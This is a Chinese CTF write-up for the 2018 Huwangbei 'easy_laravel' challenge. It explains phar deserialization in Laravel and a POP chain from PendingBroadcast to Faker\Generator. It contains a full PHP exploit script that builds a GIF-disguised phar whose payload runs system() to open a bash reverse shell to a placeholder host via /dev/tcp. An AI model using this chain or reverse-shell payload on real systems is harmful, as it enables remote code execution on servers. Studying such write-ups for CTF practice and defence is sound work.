出题的师傅已经把docker环境放到了github上
https://github.com/sco4x0/huwangbei2018_easy_laravel
可以自己环境部署,关于如何通过sql注入变成管理员请参考这位师傅的博客
http://www.venenof.com/index.php/archives/565/ 。
下面是在你已经成为管理员,为了方便我直接修改了代码,将UploadController
的$this->middleware(['auth', 'admin']);
注释掉。
根据这篇文章
我们知道,phar协议在涉及到文件操作的时候存在反序列化。
下面我们的目标是如何找POP Chain。在vendor 这个文件夹下面,搜索__destruct
和call_user_func
我找到了下面两个文件。
Illuminate\Broadcasting\PendingBroadcast.php
<?php
namespace Illuminate\Broadcasting;
use Illuminate\Contracts\Events\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(Dispatcher $events, $event)
{
$this->event = $event;
$this->events = $events;
}
public function __destruct()
{
$this->events->fire($this->event);
}
public function toOthers()
{
if (method_exists($this->event, 'dontBroadcastToCurrentUser')) {
$this->event->dontBroadcastToCurrentUser();
}
return $this;
}
}
Faker\Generator.php
<?php
namespace Faker;
class Generator
{
protected $providers = array();
protected $formatters = array();
public function addProvider($provider)
{
array_unshift($this->providers, $provider);
}
public function getProviders()
{
return $this->providers;
}
public function seed($seed = null)
{
if ($seed === null) {
mt_srand();
} else {
if (PHP_VERSION_ID < 70100) {
mt_srand((int) $seed);
} else {
mt_srand((int) $seed, MT_RAND_PHP);
}
}
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
public function parse($string)
{
return preg_replace_callback('/\{\{\s?(\w+)\s?\}\}/u', array($this, 'callFormatWithMatches'), $string);
}
protected function callFormatWithMatches($matches)
{
return $this->format($matches[1]);
}
public function __get($attribute)
{
return $this->format($attribute);
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
先解释两个魔术方法
__destruct
销毁对象的时候会自动调用该方法
__call
当对象调用不存在的方法时会自动调用该函数
那么POP chain就比较明显了,先创建一个Generator
实例,然后将其赋值给PendingBroadcast
的events
。当PendingBroadcast
自动销毁时会调用Generator
的fire
方法,但是fire
方法不存在,所以自动调用__call
方法,__call
方法调用了format
方法,format
里面的两个参数都可控,这样就可以RCE了。
可能解释的不是很清楚,具体利用看下面的脚本。
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
public function __destruct()
{
$this->events->fire($this->event);
}
}
}
namespace Faker{
class Generator
{
protected $formatters;
function __construct($forma){
$this->formatters = $forma;
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
}
namespace{
$fs = array("fire"=>"system");
$gen = new Faker\Generator($fs);
$pb = new Illuminate\Broadcasting\PendingBroadcast($gen,"bash -c 'bash -i >& /dev/tcp/vpsip/9999 0>&1'");
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($pb);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '3.gif');
}
?>
然后将上面脚本生成的3.gif 上传然后,通过控制path参数和filename参数使得file_exists("phar:///usr/share/nginx/html/storage/app/public/3.gif/1.txt"),然后就可以getshell了。
成功get shell。
参考链接: